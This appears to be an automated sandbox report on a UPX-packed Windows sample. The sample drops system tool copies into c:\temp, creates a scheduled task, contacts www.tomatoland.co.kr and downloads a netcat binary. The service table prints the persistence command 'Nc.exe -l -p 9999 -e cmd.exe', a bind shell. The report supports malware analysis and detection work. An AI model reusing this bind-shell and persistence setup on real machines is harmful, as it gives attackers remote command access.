Submission Summary:

What's been foundSeverity Level
Downloads/requests other files from Internet.

 

Technical Details:

 

File System Modifications

#Filename(s)File SizeFile HashAlias
1 c:\temp\at.exe 25,088 bytes MD5: 0x9BDF13167FBEF8DA3A4E9A558B169E5E
SHA-1: 0x9093ADAC07776A7C71B8B795B46A5D9F13F41E95
(not available)
2 c:\temp\cmd.exe 388,608 bytes MD5: 0xEEB024F2C81F0D55936FB825D21A91D6
SHA-1: 0xDD47FF16176412EC2E170CDA441B4A220FF52F46
(not available)
3 c:\temp\cscript.exe 98,304 bytes MD5: 0xEA04AD67501587F2C018E79B6B541224
SHA-1: 0x8CB9DB47B96A83DFF6A71340AC1777EA76991CF8
(not available)
4 c:\temp\Nc.exe 125 bytes MD5: 0x7C5F5A68051F6B0C0E9A2AD33C40D415
SHA-1: 0x120865765927A61AF83F02B83DC297EEDE61EC41
(not available)
5 c:\temp\net.exe 42,496 bytes MD5: 0x29ED429A12DEEAEE5E40307C5215E8D8
SHA-1: 0x4069BA1D5314124D6FAA4DC84227F424CC3CE0DB
(not available)
6 c:\temp\sc.exe 31,232 bytes MD5: 0xA48B1C06219A01A60CD8D4D45440BDE9
SHA-1: 0x34AF23607AD5AFA9E61B6A96CEC811E6BDC50B4A
(not available)
7 c:\temp\shutdown.exe 19,456 bytes MD5: 0x6F06118F68E7BD7EBD1C66255DF5CAC8
SHA-1: 0x41E105827C63BC53C6AC95DF5AACEFD89682FB13
(not available)
8 [file and pathname of the sample #1] 22,528 bytes MD5: 0x58E6526A1CDEBD15C6CE4585FE8C5E19
SHA-1: 0xB7F94214EE21D6C9E1762EA179E667A690D4F9C9
packed with UPX [Kaspersky Lab]
9 %Windir%\Tasks\At1.job 374 bytes MD5: 0x0724ADF7F47F9A9249AAABBF439D0C54
SHA-1: 0xD1EA9CF17B839A88B45084D2508DF0A14A287785
(not available)

 

Memory Modifications

Process NameProcess FilenameMain Module Size
at.exec:\temp\at.exe36,864 bytes
cscript.exec:\temp\cscript.exe98,304 bytes
net.exec:\temp\net.exe90,112 bytes
[filename of the sample #1][file and pathname of the sample #1]65,536 bytes
sc.exec:\temp\sc.exe40,960 bytes
shutdown.exec:\temp\shutdown.exe28,672 bytes

Service NameDisplay NameStatusService Filename
svcnetsvcnet"Stopped"c:\temp\Nc.exe -l -p 9999 -e c:\temp\cmd.exe

 

Registry Modifications

 

Other details

Server NameServer PortConnect as UserConnection Password
www.tomatoland.co.kr80(null)(null)

 

 

Downloaded File Summary:

 

Technical Details:

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File System Modifications

#Filename(s)File SizeFile HashAlias
1 [file and pathname of the sample #1] 59,392 bytes MD5: 0xE0FB946C00B140693E3CF5DE258C22A1
SHA-1: 0x57F0839433234285CC9DF96198A6CA58248A4707
NetCat [Symantec]
not-a-virus:RemoteAdmin.Win32.NetCat.alj [Kaspersky Lab]
Trojan.SuspectCRC [Ikarus]

 

Memory Modifications

Process NameProcess FilenameMain Module Size
[filename of the sample #1][file and pathname of the sample #1]77,824 bytes

 

 

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